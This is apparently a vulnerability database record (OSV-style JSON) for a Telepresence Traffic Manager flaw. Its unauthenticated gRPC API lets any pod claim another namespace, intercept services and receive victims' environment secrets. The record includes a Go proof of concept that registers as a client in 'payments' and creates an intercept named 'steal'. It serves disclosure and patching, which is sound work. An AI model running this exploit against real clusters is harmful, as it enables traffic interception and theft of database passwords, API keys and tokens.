{"id":"CVE-2026-102340","aliases":["GHSA-j8j4-rw65-56r6"],"url":"https://o3.security/vulnerability/CVE-2026-102340","summary":"Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets","details":"## Summary\n\nTelepresence's Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod's complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.\n\n## Details\n\nThe gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: `grpc.WithTransportCredentials(insecure.NewCredentials())`.\n\n`ArriveAsClient` stores the caller-supplied `Namespace` without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager's watchlist (`ManagesNamespace`):\n\n```go\n// cmd/traffic/cmd/manager/service.go:181-201\nfunc (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {\n    if !s.State().ManagesNamespace(ctx, client.Namespace) {\n        return nil, status.Error(codes.FailedPrecondition, ...)\n    }\n    // No SAR, no bearer token, no kubeconfig check\n    return &rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil\n}\n```\n\n`CreateIntercept` calls `managedTargetNamespace()` which also only checks `ManagesNamespace(target_ns)` — never that the target equals the client's own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod's full container environment is forwarded via `intercept.Environment = rIReq.Environment`.\n\n## Proof of Concept\n\nFrom any pod in the cluster:\n\n```go\nconn, _ := grpc.NewClient(\"traffic-manager.ambassador:8081\",\n    grpc.WithTransportCredentials(insecure.NewCredentials()))\nmgr := rpc.NewManagerClient(conn)\n\nsession, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{\n    Name: \"attacker@pod\", Namespace: \"payments\",\n    InstallId: uuid.NewString(), Product: \"telepresence\", Version: \"2.20.0\",\n})\n\nmgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{\n    Session: session,\n    InterceptSpec: &rpc.InterceptSpec{\n        Name: \"steal\", Agent: \"payments-api\", Namespace: \"payments\",\n        Mechanism: \"tcp\", Client: \"attacker@pod\",\n    },\n})\n```\n\nSupplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.\n\n## Impact\n\nAny pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed.\nSecrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.","published":"2026-11-04T20:39:55.525Z","modified":"2026-11-10T02:30:59.921197747Z","cvss":{"score":8.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/telepresenceio/telepresence","fixedVersion":"2.31.0"}],"fix":{"url":"https://github.com/telepresenceio/telepresence/commit/04ec3464fe8878fdc96420cdc8036edefa0dc9ae","label":"telepresenceio/telepresence@04ec346"},"references":[{"type":"WEB","url":"https://github.com/telepresenceio/telepresence/releases/tag/v2.31.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102340.json"},{"type":"ADVISORY","url":"https://github.com/telepresenceio/telepresence/security/advisories/GHSA-j8j4-rw65-56r6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102340"},{"type":"FIX","url":"https://github.com/telepresenceio/telepresence/commit/04ec3464fe8878fdc96420cdc8036edefa0dc9ae"},{"type":"FIX","url":"https://github.com/telepresenceio/telepresence/commit/36458b65a010d2b316af48cd90e193ba190785d9"},{"type":"FIX","url":"https://github.com/telepresenceio/telepresence/commit/6871235b674a6e843908d09696354c4b0f91578c"},{"type":"FIX","url":"https://github.com/telepresenceio/telepresence/pull/4217"},{"type":"PACKAGE","url":"https://github.com/telepresenceio/telepresence"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-10T02:30:59.921197747Z"}}